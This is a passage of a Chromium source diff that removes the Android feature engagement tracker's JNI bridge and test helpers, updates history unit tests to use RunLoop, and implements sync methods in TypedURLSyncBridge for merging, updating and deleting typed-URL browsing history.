-public class FeatureEngagementTrackerImpl implements FeatureEngagementTracker {
-    /**
-     * The pointer to the FeatureEngagementTrackerImplAndroid JNI bridge.
-     */
-    private long mNativePtr;
-
-    @CalledByNative
-    private static FeatureEngagementTrackerImpl create(long nativePtr) {
-        return new FeatureEngagementTrackerImpl(nativePtr);
-    }
-
-    private FeatureEngagementTrackerImpl(long nativePtr) {
-        mNativePtr = nativePtr;
-    }
-
-    @Override
-    public void notifyEvent(String event) {
-        assert mNativePtr != 0;
-        nativeNotifyEvent(mNativePtr, event);
-    }
-
-    @Override
-    public boolean shouldTriggerHelpUI(String feature) {
-        assert mNativePtr != 0;
-        return nativeShouldTriggerHelpUI(mNativePtr, feature);
-    }
-
-    @Override
-    public void dismissed(String feature) {
-        assert mNativePtr != 0;
-        nativeDismissed(mNativePtr, feature);
-    }
-
-    @Override
-    public boolean isInitialized() {
-        assert mNativePtr != 0;
-        return nativeIsInitialized(mNativePtr);
-    }
-
-    @Override
-    public void addOnInitializedCallback(Callback<Boolean> callback) {
-        assert mNativePtr != 0;
-        nativeAddOnInitializedCallback(mNativePtr, callback);
-    }
-
-    @CalledByNative
-    private void clearNativePtr() {
-        mNativePtr = 0;
-    }
-
-    @CalledByNative
-    private long getNativePtr() {
-        assert mNativePtr != 0;
-        return mNativePtr;
-    }
-
-    private native void nativeNotifyEvent(
-            long nativeFeatureEngagementTrackerImplAndroid, String event);
-    private native boolean nativeShouldTriggerHelpUI(
-            long nativeFeatureEngagementTrackerImplAndroid, String feature);
-    private native void nativeDismissed(
-            long nativeFeatureEngagementTrackerImplAndroid, String feature);
-    private native boolean nativeIsInitialized(long nativeFeatureEngagementTrackerImplAndroid);
-    private native void nativeAddOnInitializedCallback(
-            long nativeFeatureEngagementTrackerImplAndroid, Callback<Boolean> callback);
-}
diff --git a/components/feature_engagement_tracker/public/android/feature_engagement_tracker_jni_registrar.h b/components/feature_engagement_tracker/public/android/feature_engagement_tracker_jni_registrar.h
deleted file mode 100644
index 61376b9..0000000
--- a/components/feature_engagement_tracker/public/android/feature_engagement_tracker_jni_registrar.h
+++ /dev/null
@@ -1,17 +0,0 @@
-// Copyright 2017 The Chromium Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#ifndef COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_PUBLIC_ANDROID_FEATURE_ENGAGEMENT_TRACKER_JNI_REGISTRAR_H_
-#define COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_PUBLIC_ANDROID_FEATURE_ENGAGEMENT_TRACKER_JNI_REGISTRAR_H_
-
-#include "base/android/jni_android.h"
-
-namespace feature_engagement_tracker {
-
-// Register the FeatureEngagementTracker's native methods through JNI.
-bool RegisterFeatureEngagementTrackerJni(JNIEnv* env);
-
-}  // namespace feature_engagement_tracker
-
-#endif  // COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_PUBLIC_ANDROID_FEATURE_ENGAGEMENT_TRACKER_JNI_REGISTRAR_H_
diff --git a/components/feature_engagement_tracker/test/BUILD.gn b/components/feature_engagement_tracker/test/BUILD.gn
deleted file mode 100644
index 41a0b9b6..0000000
--- a/components/feature_engagement_tracker/test/BUILD.gn
+++ /dev/null
@@ -1,18 +0,0 @@
-# Copyright 2017 The Chromium Authors. All rights reserved.
-# Use of this source code is governed by a BSD-style license that can be
-# found in the LICENSE file.
-
-source_set("test_support") {
-  testonly = true
-
-  sources = [
-    "test_feature_engagement_tracker.cc",
-    "test_feature_engagement_tracker.h",
-  ]
-
-  deps = [
-    "//base",
-    "//components/feature_engagement_tracker/internal",
-    "//components/feature_engagement_tracker/public",
-  ]
-}
diff --git a/components/feature_engagement_tracker/test/test_feature_engagement_tracker.cc b/components/feature_engagement_tracker/test/test_feature_engagement_tracker.cc
deleted file mode 100644
index 3430cfe..0000000
--- a/components/feature_engagement_tracker/test/test_feature_engagement_tracker.cc
+++ /dev/null
@@ -1,45 +0,0 @@
-// Copyright 2017 The Chromium Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#include "components/feature_engagement_tracker/test/test_feature_engagement_tracker.h"
-
-#include "base/memory/ptr_util.h"
-#include "base/threading/sequenced_task_runner_handle.h"
-#include "components/feature_engagement_tracker/internal/chrome_variations_configuration.h"
-#include "components/feature_engagement_tracker/internal/event_model_impl.h"
-#include "components/feature_engagement_tracker/internal/feature_config_condition_validator.h"
-#include "components/feature_engagement_tracker/internal/feature_config_event_storage_validator.h"
-#include "components/feature_engagement_tracker/internal/feature_engagement_tracker_impl.h"
-#include "components/feature_engagement_tracker/internal/in_memory_event_store.h"
-#include "components/feature_engagement_tracker/internal/init_aware_event_model.h"
-#include "components/feature_engagement_tracker/internal/never_availability_model.h"
-#include "components/feature_engagement_tracker/internal/system_time_provider.h"
-#include "components/feature_engagement_tracker/public/feature_engagement_tracker.h"
-#include "components/feature_engagement_tracker/public/feature_list.h"
-
-namespace feature_engagement_tracker {
-
-// static
-std::unique_ptr<FeatureEngagementTracker> CreateTestFeatureEngagementTracker() {
-  auto configuration = base::MakeUnique<ChromeVariationsConfiguration>();
-  configuration->ParseFeatureConfigs(GetAllFeatures());
-
-  auto storage_validator =
-      base::MakeUnique<FeatureConfigEventStorageValidator>();
-  storage_validator->InitializeFeatures(GetAllFeatures(), *configuration);
-
-  auto raw_event_model = base::MakeUnique<EventModelImpl>(
-      base::MakeUnique<InMemoryEventStore>(), std::move(storage_validator));
-
-  auto event_model =
-      base::MakeUnique<InitAwareEventModel>(std::move(raw_event_model));
-
-  return base::MakeUnique<FeatureEngagementTrackerImpl>(
-      std::move(event_model), base::MakeUnique<NeverAvailabilityModel>(),
-      std::move(configuration),
-      base::MakeUnique<FeatureConfigConditionValidator>(),
-      base::MakeUnique<SystemTimeProvider>());
-}
-
-}  // namespace feature_engagement_tracker
diff --git a/components/feature_engagement_tracker/test/test_feature_engagement_tracker.h b/components/feature_engagement_tracker/test/test_feature_engagement_tracker.h
deleted file mode 100644
index 19e9b267..0000000
--- a/components/feature_engagement_tracker/test/test_feature_engagement_tracker.h
+++ /dev/null
@@ -1,21 +0,0 @@
-// Copyright 2017 The Chromium Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#ifndef COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_TEST_TEST_FEATURE_ENGAGEMENT_TRACKER_H_
-#define COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_TEST_TEST_FEATURE_ENGAGEMENT_TRACKER_H_
-
-#include <memory>
-
-namespace feature_engagement_tracker {
-class FeatureEngagementTracker;
-
-// Provides a test FeatureEngagementTracker that makes all non-relevant
-// conditions true so you can test per-feature specific configurations.
-// Note: Your feature config params must have |"availability": "ANY"|
-// or the FeatureConfigConditionValidator will return false.
-std::unique_ptr<FeatureEngagementTracker> CreateTestFeatureEngagementTracker();
-
-}  // namespace feature_engagement_tracker
-
-#endif  // COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_TEST_TEST_FEATURE_ENGAGEMENT_TRACKER_H_
diff --git a/components/history/core/browser/history_backend.cc b/components/history/core/browser/history_backend.cc
index 75c16d9..a3a062a 100644
--- a/components/history/core/browser/history_backend.cc
+++ b/components/history/core/browser/history_backend.cc
@@ -1057,6 +1057,12 @@
   return false;
 }
 
+bool HistoryBackend::GetURLByID(URLID url_id, URLRow* url_row) {
+  if (db_)
+    return db_->GetURLRow(url_id, url_row);
+  return false;
+}
+
 void HistoryBackend::QueryURL(const GURL& url,
                               bool want_visits,
                               QueryURLResult* result) {
diff --git a/components/history/core/browser/history_backend.h b/components/history/core/browser/history_backend.h
index 51df72c..43fdccd 100644
--- a/components/history/core/browser/history_backend.h
+++ b/components/history/core/browser/history_backend.h
@@ -399,6 +399,8 @@
 
   virtual bool GetURL(const GURL& url, URLRow* url_row);
 
+  bool GetURLByID(URLID url_id, URLRow* url_row);
+
   // Returns the syncable service for syncing typed urls. The returned service
   // is owned by |this| object.
   virtual TypedUrlSyncableService* GetTypedUrlSyncableService() const;
diff --git a/components/history/core/browser/history_service_unittest.cc b/components/history/core/browser/history_service_unittest.cc
index 29ac63f..6e05213 100644
--- a/components/history/core/browser/history_service_unittest.cc
+++ b/components/history/core/browser/history_service_unittest.cc
@@ -61,7 +61,7 @@
 
   void OnMostVisitedURLsAvailable(const MostVisitedURLList* url_list) {
     most_visited_urls_ = *url_list;
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
  protected:
@@ -132,7 +132,7 @@
       query_url_row_ = URLRow();
       query_url_visits_.clear();
     }
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   // Fills in saved_redirects_ with the redirect information for the given URL,
@@ -153,7 +153,7 @@
       saved_redirects_.insert(
           saved_redirects_.end(), redirects->begin(), redirects->end());
     }
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   base::ScopedTempDir temp_dir_;
@@ -614,7 +614,7 @@
 
   void DoneRunOnMainThread() override {
     *done_invoked_ = true;
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   int* invoke_count_;
diff --git a/components/history/core/browser/typed_url_sync_bridge.cc b/components/history/core/browser/typed_url_sync_bridge.cc
index 150ae7c5..9a437f7 100644
--- a/components/history/core/browser/typed_url_sync_bridge.cc
+++ b/components/history/core/browser/typed_url_sync_bridge.cc
@@ -36,6 +36,14 @@
 // RELOAD visits, which will be stripped.
 static const int kMaxVisitsToFetch = 1000;
 
+// This is the threshold at which we start throttling sync updates for typed
+// URLs - any URLs with a typed_count >= this threshold will be throttled.
+static const int kTypedUrlVisitThrottleThreshold = 10;
+
+// This is the multiple we use when throttling sync updates. If the multiple is
+// N, we sync up every Nth update (i.e. when typed_count % N == 0).
+static const int kTypedUrlVisitThrottleMultiple = 10;
+
 // Enforce oldest to newest visit order.
 static bool CheckVisitOrdering(const VisitVector& visits) {
   int64_t previous_visit_time = 0;
@@ -51,14 +59,15 @@
 }
 
 std::string GetStorageKeyFromURLRow(const URLRow& row) {
+  DCHECK_NE(row.id(), 0);
   std::string storage_key(sizeof(row.id()), 0);
   base::WriteBigEndian<URLID>(&storage_key[0], row.id());
   return storage_key;
 }
 
 bool HasTypedUrl(const VisitVector& visits) {
-  auto typed_url_visit = std::find_if(
-      visits.begin(), visits.end(), [](const history::VisitRow& visit) {
+  auto typed_url_visit =
+      std::find_if(visits.begin(), visits.end(), [](const VisitRow& visit) {
         return ui::PageTransitionCoreTypeIs(visit.transition,
                                             ui::PAGE_TRANSITION_TYPED);
       });
@@ -98,7 +107,7 @@
   DCHECK(sequence_checker_.CalledOnValidSequence());
 
   // Create a mapping of all local data by URLID. These will be narrowed down
-  // by CreateOrUpdateUrl() to include only the entries different from sync
+  // by MergeURLWithSync() to include only the entries different from sync
   // server data.
   TypedURLMap new_db_urls;
 
@@ -111,12 +120,12 @@
   }
 
   // New sync data organized for different write operations to history backend.
-  history::URLRows new_synced_urls;
-  history::URLRows updated_synced_urls;
+  URLRows new_synced_urls;
+  URLRows updated_synced_urls;
   TypedURLVisitVector new_synced_visits;
 
   // Iterate through entity_data and check for all the urls that
-  // sync already knows about. CreateOrUpdateUrl() will remove urls that
+  // sync already knows about. MergeURLWithSync() will remove urls that
   // are the same as the synced ones from |new_db_urls|.
   for (const EntityChange& entity_change : entity_data) {
     DCHECK(entity_change.data().specifics.has_typed_url());
@@ -137,20 +146,14 @@
 
       continue;
     }
-    UpdateUrlFromServer(specifics, &new_db_urls, &local_visit_vectors,
-                        &new_synced_urls, &new_synced_visits,
-                        &updated_synced_urls);
+    MergeURLWithSync(specifics, &new_db_urls, &local_visit_vectors,
+                     &new_synced_urls, &new_synced_visits,
+                     &updated_synced_urls);
   }
 
   for (const auto& kv : new_db_urls) {
-    if (!HasTypedUrl(local_visit_vectors[kv.first])) {
-      // This URL has no TYPED visits, don't sync it
-      continue;
-    }
-    std::string storage_key = GetStorageKeyFromURLRow(kv.second);
-    change_processor()->Put(
-        storage_key, CreateEntityData(kv.second, local_visit_vectors[kv.first]),
-        metadata_change_list.get());
+    SendTypedURLToProcessor(kv.second, local_visit_vectors[kv.first],
+                            metadata_change_list.get());
   }
 
   base::Optional<ModelError> error = WriteToHistoryBackend(
@@ -165,6 +168,7 @@
         GetStorageKeyInternal(entity_change.data().specifics.typed_url().url());
     if (storage_key.empty()) {
       // ignore entity change
+      change_processor()->UntrackEntity(entity_change.data());
     } else {
       change_processor()->UpdateStorageKey(entity_change.data(), storage_key,
                                            metadata_change_list.get());
@@ -184,20 +188,106 @@
     std::unique_ptr<MetadataChangeList> metadata_change_list,
     EntityChangeList entity_changes) {
   DCHECK(sequence_checker_.CalledOnValidSequence());
-  NOTIMPLEMENTED();
+  DCHECK(sync_metadata_database_);
+
+  std::vector<GURL> pending_deleted_urls;
+  TypedURLVisitVector new_synced_visits;
+  VisitVector deleted_visits;
+  URLRows updated_synced_urls;
+  URLRows new_synced_urls;
+
+  for (const EntityChange& entity_change : entity_changes) {
+    if (entity_change.type() == EntityChange::ACTION_DELETE) {
+      URLRow url_row;
+      int64_t url_id = sync_metadata_database_->StorageKeyToURLID(
+          entity_change.storage_key());
+      if (!history_backend_->GetURLByID(url_id, &url_row)) {
+        // Ignoring the case that there is no matching URLRow with URLID
+        // |url_id|.
+        continue;
+      }
+
+      pending_deleted_urls.push_back(url_row.url());
+      continue;
+    }
+
+    DCHECK(entity_change.data().specifics.has_typed_url());
+    const TypedUrlSpecifics& specifics =
+        entity_change.data().specifics.typed_url();
+
+    GURL url(specifics.url());
+
+    if (ShouldIgnoreUrl(url))
+      continue;
+
+    DCHECK(specifics.visits_size());
+    sync_pb::TypedUrlSpecifics filtered_url = FilterExpiredVisits(specifics);
+    if (filtered_url.visits_size() == 0)
+      continue;
+
+    UpdateFromSync(filtered_url, &new_synced_visits, &deleted_visits,
+                   &updated_synced_urls, &new_synced_urls);
+  }
+
+  WriteToHistoryBackend(&new_synced_urls, &updated_synced_urls,
+                        &pending_deleted_urls, &new_synced_visits,
+                        &deleted_visits);
+
+  // New entities were either ignored or written to history DB and assigned a
+  // storage key. Notify processor about updated storage keys.
+  for (const EntityChange& entity_change : entity_changes) {
+    if (entity_change.type() == EntityChange::ACTION_ADD) {
+      std::string storage_key = GetStorageKeyInternal(
+          entity_change.data().specifics.typed_url().url());
+      if (storage_key.empty()) {
+        // ignore entity change
+        change_processor()->UntrackEntity(entity_change.data());
+      } else {
+        change_processor()->UpdateStorageKey(entity_change.data(), storage_key,
+                                             metadata_change_list.get());
+      }
+    }
+  }
+
   return {};
 }
 
 void TypedURLSyncBridge::GetData(StorageKeyList storage_keys,
                                  DataCallback callback) {
   DCHECK(sequence_checker_.CalledOnValidSequence());
-  NOTIMPLEMENTED();
+  DCHECK(sync_metadata_database_);
+
+  auto batch = base::MakeUnique<MutableDataBatch>();
+  for (const std::string& key : storage_keys) {
+    URLRow url_row;
+    URLID url_id = sync_metadata_database_->StorageKeyToURLID(key);
+
+    ++num_db_accesses_;
+    if (!history_backend_->GetURLByID(url_id, &url_row)) {
+      // Ignoring the case which no matching URLRow with URLID |url_id|.
+      DLOG(ERROR) << "Could not find URL for id: " << url_id;
+      continue;
+    }
+
+    VisitVector visits_vector;
+    FixupURLAndGetVisits(&url_row, &visits_vector);
+    std::unique_ptr<syncer::EntityData> entity_data =
+        CreateEntityData(url_row, visits_vector);
+    if (!entity_data.get()) {
+      // Cannot create EntityData, ex. no TYPED visits.
+      continue;
+    }
+
+    batch->Put(key, std::move(entity_data));
+  }
+
+  callback.Run(std::move(batch));
 }
 
 void TypedURLSyncBridge::GetAllData(DataCallback callback) {
   DCHECK(sequence_checker_.CalledOnValidSequence());
 
-  history::URLRows typed_urls;
+  URLRows typed_urls;
   ++num_db_accesses_;
   if (!history_backend_->GetAllTypedURLs(&typed_urls)) {
     ++num_db_errors_;
@@ -207,12 +297,19 @@
   }
 
   auto batch = base::MakeUnique<MutableDataBatch>();
-  for (history::URLRow& url : typed_urls) {
+  for (URLRow& url : typed_urls) {
     VisitVector visits_vector;
     FixupURLAndGetVisits(&url, &visits_vector);
-    batch->Put(GetStorageKeyFromURLRow(url),
-               CreateEntityData(url, visits_vector));
+    std::unique_ptr<syncer::EntityData> entity_data =
+        CreateEntityData(url, visits_vector);
+    if (!entity_data.get()) {
+      // Cannot create EntityData, ex. no TYPED visits.
+      continue;
+    }
+
+    batch->Put(GetStorageKeyFromURLRow(url), std::move(entity_data));
   }
+
   callback.Run(std::move(batch));
 }
 
@@ -239,29 +336,84 @@
   return false;
 }
 
-void TypedURLSyncBridge::OnURLVisited(history::HistoryBackend* history_backend,
+void TypedURLSyncBridge::OnURLVisited(HistoryBackend* history_backend,
                                       ui::PageTransition transition,
-                                      const history::URLRow& row,
-                                      const history::RedirectList& redirects,
+                                      const URLRow& row,
+                                      const RedirectList& redirects,
                                       base::Time visit_time) {
   DCHECK(sequence_checker_.CalledOnValidSequence());
-  NOTIMPLEMENTED();
+
+  if (!change_processor()->IsTrackingMetadata())
+    return;  // Sync processor not yet ready, don't sync.
+  if (!ShouldSyncVisit(row.typed_count(), transition))
+    return;
+
+  std::unique_ptr<MetadataChangeList> metadata_change_list =
+      CreateMetadataChangeList();
+
+  UpdateSyncFromLocal(row, metadata_change_list.get());
 }
 
-void TypedURLSyncBridge::OnURLsModified(
-    history::HistoryBackend* history_backend,
-    const history::URLRows& changed_urls) {
+void TypedURLSyncBridge::OnURLsModified(HistoryBackend* history_backend,
+                                        const URLRows& changed_urls) {
   DCHECK(sequence_checker_.CalledOnValidSequence());
-  NOTIMPLEMENTED();
+
+  if (!change_processor()->IsTrackingMetadata())
+    return;  // Sync processor not yet ready, don't sync.
+
+  std::unique_ptr<MetadataChangeList> metadata_change_list =
+      CreateMetadataChangeList();
+
+  for (const auto& row : changed_urls) {
+    // Only care if the modified URL is typed.
+    if (row.typed_count() >= 0) {
+      // If there were any errors updating the sync node, just ignore them and
+      // continue on to process the next URL.
+      UpdateSyncFromLocal(row, metadata_change_list.get());
+    }
+  }
 }
 
-void TypedURLSyncBridge::OnURLsDeleted(history::HistoryBackend* history_backend,
+void TypedURLSyncBridge::OnURLsDeleted(HistoryBackend* history_backend,
                                        bool all_history,
                                        bool expired,
-                                       const history::URLRows& deleted_rows,
+                                       const URLRows& deleted_rows,
                                        const std::set<GURL>& favicon_urls) {
   DCHECK(sequence_checker_.CalledOnValidSequence());
-  NOTIMPLEMENTED();
+  if (!change_processor()->IsTrackingMetadata())
+    return;  // Sync processor not yet ready, don't sync.
+
+  // Ignore URLs expired due to old age (we don't want to sync them as deletions
+  // to avoid extra traffic up to the server, and also to make sure that a
+  // client with a bad clock setting won't go on an expiration rampage and
+  // delete all history from every client). The server will gracefully age out
+  // the sync DB entries when they've been idle for long enough.
+  if (expired)
+    return;
+
+  std::unique_ptr<MetadataChangeList> metadata_change_list =
+      CreateMetadataChangeList();
+
+  if (all_history) {
+    auto batch = base::MakeUnique<syncer::MetadataBatch>();
+    if (!sync_metadata_database_->GetAllSyncMetadata(batch.get())) {
+      change_processor()->ReportError(FROM_HERE,
+                                      "Failed reading typed url metadata from "
+                                      "TypedURLSyncMetadataDatabase.");
+      return;
+    }
+
+    syncer::EntityMetadataMap metadata_map(batch->TakeAllMetadata());
+    for (const auto& kv : metadata_map) {
+      change_processor()->Delete(kv.first, metadata_change_list.get());
+    }
+  } else {
+    // Delete rows.
+    for (const auto& row : deleted_rows) {
+      std::string storage_key = GetStorageKeyFromURLRow(row);
+      change_processor()->Delete(storage_key, metadata_change_list.get());
+    }
+  }
 }
 
 void TypedURLSyncBridge::Init() {
@@ -275,6 +427,7 @@
   return num_db_accesses_ ? (100 * num_db_errors_ / num_db_accesses_) : 0;
 }
 
+// static
 bool TypedURLSyncBridge::WriteToTypedUrlSpecifics(
     const URLRow& url,
     const VisitVector& visits,
@@ -293,11 +446,7 @@
   bool only_typed = false;
   int skip_count = 0;
 
-  if (std::find_if(visits.begin(), visits.end(),
-                   [](const history::VisitRow& visit) {
-                     return ui::PageTransitionCoreTypeIs(
-                         visit.transition, ui::PAGE_TRANSITION_TYPED);
-                   }) == visits.end()) {
+  if (!HasTypedUrl(visits)) {
     // This URL has no TYPED visits, don't sync it
     return false;
   }
@@ -368,10 +517,10 @@
 // static
 TypedURLSyncBridge::MergeResult TypedURLSyncBridge::MergeUrls(
     const TypedUrlSpecifics& sync_url,
-    const history::URLRow& url,
-    history::VisitVector* visits,
-    history::URLRow* new_url,
-    std::vector<history::VisitInfo>* new_visits) {
+    const URLRow& url,
+    VisitVector* visits,
+    URLRow* new_url,
+    std::vector<VisitInfo>* new_visits) {
   DCHECK(new_url);
   DCHECK_EQ(sync_url.url(), url.url().spec());
   DCHECK_EQ(sync_url.url(), new_url->url().spec());
@@ -445,7 +594,7 @@
       // check should be removed.
       if (sync_url_time > earliest_history_time) {
         different |= DIFF_LOCAL_VISITS_ADDED;
-        new_visits->push_back(history::VisitInfo(
+        new_visits->push_back(VisitInfo(
             sync_url_time, ui::PageTransitionFromInt(sync_url.visit_transitions(
                                sync_url_visit_index))));
       }
@@ -464,17 +613,15 @@
     // new visits from the server need to be added to the vector containing
     // local visits. These visits will be passed to the server.
     // Insert new visits into the appropriate place in the visits vector.
-    history::VisitVector::iterator visit_ix = visits->begin();
-    for (std::vector<history::VisitInfo>::iterator new_visit =
-             new_visits->begin();
+    VisitVector::iterator visit_ix = visits->begin();
+    for (std::vector<VisitInfo>::iterator new_visit = new_visits->begin();
          new_visit != new_visits->end(); ++new_visit) {
       while (visit_ix != visits->end() &&
              new_visit->first > visit_ix->visit_time) {
         ++visit_ix;
       }
-      visit_ix =
-          visits->insert(visit_ix, history::VisitRow(url.id(), new_visit->first,
-                                                     0, new_visit->second, 0));
+      visit_ix = visits->insert(visit_ix, VisitRow(url.id(), new_visit->first,
+                                                   0, new_visit->second, 0));
       ++visit_ix;
     }
   }
@@ -485,9 +632,57 @@
 }
 
 // static
+void TypedURLSyncBridge::DiffVisits(
+    const VisitVector& history_visits,
+    const sync_pb::TypedUrlSpecifics& sync_specifics,
+    std::vector<VisitInfo>* new_visits,
+    VisitVector* removed_visits) {
+  DCHECK(new_visits);
+  size_t old_visit_count = history_visits.size();
+  size_t new_visit_count = sync_specifics.visits_size();
+  size_t old_index = 0;
+  size_t new_index = 0;
+  while (old_index < old_visit_count && new_index < new_visit_count) {
+    base::Time new_visit_time =
+        base::Time::FromInternalValue(sync_specifics.visits(new_index));
+    if (history_visits[old_index].visit_time < new_visit_time) {
+      if (new_index > 0 && removed_visits) {
+        // If there are visits missing from the start of the node, that
+        // means that they were probably clipped off due to our code that
+        // limits the size of the sync nodes - don't delete them from our
+        // local history.
+        removed_visits->push_back(history_visits[old_index]);
+      }
+      ++old_index;
+    } else if (history_visits[old_index].visit_time > new_visit_time) {
+      new_visits->push_back(VisitInfo(
+          new_visit_time, ui::PageTransitionFromInt(
+                              sync_specifics.visit_transitions(new_index))));
+      ++new_index;
+    } else {
+      ++old_index;
+      ++new_index;
+    }
+  }
+
+  if (removed_visits) {
+    for (; old_index < old_visit_count; ++old_index) {
+      removed_visits->push_back(history_visits[old_index]);
+    }
+  }
+
+  for (; new_index < new_visit_count; ++new_index) {
+    new_visits->push_back(VisitInfo(
+        base::Time::FromInternalValue(sync_specifics.visits(new_index)),
+        ui::PageTransitionFromInt(
+            sync_specifics.visit_transitions(new_index))));
+  }
+}
+
+// static
 void TypedURLSyncBridge::UpdateURLRowFromTypedUrlSpecifics(
     const TypedUrlSpecifics& typed_url,
-    history::URLRow* new_url) {
+    URLRow* new_url) {
   DCHECK_GT(typed_url.visits_size(), 0);
   CHECK_EQ(typed_url.visit_transitions_size(), typed_url.visits_size());
   if (!new_url->url().is_valid()) {
@@ -525,13 +720,13 @@
   num_db_errors_ = 0;
 }
 
-void TypedURLSyncBridge::UpdateUrlFromServer(
+void TypedURLSyncBridge::MergeURLWithSync(
     const sync_pb::TypedUrlSpecifics& server_typed_url,
     TypedURLMap* local_typed_urls,
     URLVisitVectorMap* local_visit_vectors,
-    history::URLRows* new_synced_urls,
+    URLRows* new_synced_urls,
     TypedURLVisitVector* new_synced_visits,
-    history::URLRows* updated_synced_urls) {
+    URLRows* updated_synced_urls) {
   DCHECK(server_typed_url.visits_size() != 0);
   DCHECK_EQ(server_typed_url.visits_size(),
             server_typed_url.visit_transitions_size());
@@ -553,7 +748,7 @@
   TypedURLMap::iterator it = local_typed_urls->find(GURL(sync_url.url()));
   if (it == local_typed_urls->end()) {
     // There are no matching typed urls from the local db, check for untyped
-    history::URLRow untyped_url(GURL(sync_url.url()));
+    URLRow untyped_url(GURL(sync_url.url()));
 
     // The URL may still exist in the local db if it is an untyped url.
     // An untyped url will transition to a typed url after receiving visits
@@ -563,7 +758,7 @@
         history_backend_->GetURL(untyped_url.url(), &untyped_url);
     if (is_existing_url) {
       // Add a new entry to |local_typed_urls|, and set the iterator to it.
-      history::VisitVector untyped_visits;
+      VisitVector untyped_visits;
       if (!FixupURLAndGetVisits(&untyped_url, &untyped_visits)) {
         return;
       }
@@ -579,12 +774,12 @@
     } else {
       // The url is new to the local history DB.
       // Create new db entry for url.
-      history::URLRow new_url(GURL(sync_url.url()));
+      URLRow new_url(GURL(sync_url.url()));
       UpdateURLRowFromTypedUrlSpecifics(sync_url, &new_url);
       new_synced_urls->push_back(new_url);
 
       // Add entries for url visits.
-      std::vector<history::VisitInfo> added_visits;
+      std::vector<VisitInfo> added_visits;
       size_t visit_count = sync_url.visits_size();
 
       for (size_t index = 0; index < visit_count; ++index) {
@@ -592,19 +787,18 @@
             base::Time::FromInternalValue(sync_url.visits(index));
         ui::PageTransition transition =
             ui::PageTransitionFromInt(sync_url.visit_transitions(index));
-        added_visits.push_back(history::VisitInfo(visit_time, transition));
+        added_visits.push_back(VisitInfo(visit_time, transition));
       }
       new_synced_visits->push_back(
-          std::pair<GURL, std::vector<history::VisitInfo>>(new_url.url(),
-                                                           added_visits));
+          std::pair<GURL, std::vector<VisitInfo>>(new_url.url(), added_visits));
       return;
     }
   }
 
   // Same URL exists in sync data and in history data - compare the
   // entries to see if there's any difference.
-  history::VisitVector& visits = (*local_visit_vectors)[it->first];
-  std::vector<history::VisitInfo> added_visits;
+  VisitVector& visits = (*local_visit_vectors)[it->first];
+  std::vector<VisitInfo> added_visits;
 
   // Empty URLs should be filtered out by ShouldIgnoreUrl() previously.
   DCHECK(!it->second.url().spec().empty());
@@ -613,7 +807,7 @@
   // the existing URLRow in the history DB. This is needed because we
   // overwrite the existing value in WriteToHistoryBackend(), but some of
   // the values in that structure are not synced (like typed_count).
-  history::URLRow new_url(it->second);
+  URLRow new_url(it->second);
 
   MergeResult difference =
       MergeUrls(sync_url, it->second, &visits, &new_url, &added_visits);
@@ -632,7 +826,7 @@
       if (sync_url.visits_size() > 0) {
         base::Time earliest_visit =
             base::Time::FromInternalValue(sync_url.visits(0));
-        for (history::VisitVector::iterator i = visits.begin();
+        for (VisitVector::iterator i = visits.begin();
              i != visits.end() && i->visit_time < earliest_visit;) {
           i = visits.erase(i);
         }
@@ -652,8 +846,7 @@
     if (difference & DIFF_LOCAL_VISITS_ADDED) {
       // Add entry with new visits to new_synced_visits to update the local db.
       new_synced_visits->push_back(
-          std::pair<GURL, std::vector<history::VisitInfo>>(it->first,
-                                                           added_visits));
+          std::pair<GURL, std::vector<VisitInfo>>(it->first, added_visits));
     }
   } else {
     // No difference in urls, erase from map
@@ -661,17 +854,69 @@
   }
 }
 
+void TypedURLSyncBridge::UpdateFromSync(
+    const sync_pb::TypedUrlSpecifics& typed_url,
+    TypedURLVisitVector* visits_to_add,
+    VisitVector* visits_to_remove,
+    URLRows* updated_urls,
+    URLRows* new_urls) {
+  URLRow new_url(GURL(typed_url.url()));
+  VisitVector existing_visits;
+  bool existing_url = history_backend_->GetURL(new_url.url(), &new_url);
+  if (existing_url) {
+    // This URL already exists locally - fetch the visits so we can
+    // merge them below.
+    if (!FixupURLAndGetVisits(&new_url, &existing_visits)) {
+      return;
+    }
+  }
+  visits_to_add->push_back(std::pair<GURL, std::vector<VisitInfo>>(
+      new_url.url(), std::vector<VisitInfo>()));
+
+  // Update the URL with information from the typed URL.
+  UpdateURLRowFromTypedUrlSpecifics(typed_url, &new_url);
+
+  // Figure out which visits we need to add.
+  DiffVisits(existing_visits, typed_url, &visits_to_add->back().second,
+             visits_to_remove);
+
+  if (existing_url) {
+    updated_urls->push_back(new_url);
+  } else {
+    new_urls->push_back(new_url);
+  }
+}
+
+void TypedURLSyncBridge::UpdateSyncFromLocal(
+    URLRow row,
+    MetadataChangeList* metadata_change_list) {
+  DCHECK_GE(row.typed_count(), 0);
+
+  if (ShouldIgnoreUrl(row.url()))
+    return;
+
+  // Get the visits for this node.
+  VisitVector visit_vector;
+  if (!FixupURLAndGetVisits(&row, &visit_vector)) {
+    return;
+  }
+
+  SendTypedURLToProcessor(row, visit_vector, metadata_change_list);
+
+  return;
+}
+
 base::Optional<ModelError> TypedURLSyncBridge::WriteToHistoryBackend(
-    const history::URLRows* new_urls,
-    const history::URLRows* updated_urls,
+    const URLRows* new_urls,
+    const URLRows* updated_urls,
     const std::vector<GURL>* deleted_urls,
     const TypedURLVisitVector* new_visits,
-    const history::VisitVector* deleted_visits) {
+    const VisitVector* deleted_visits) {
   if (deleted_urls && !deleted_urls->empty())
     history_backend_->DeleteURLs(*deleted_urls);
 
   if (new_urls) {
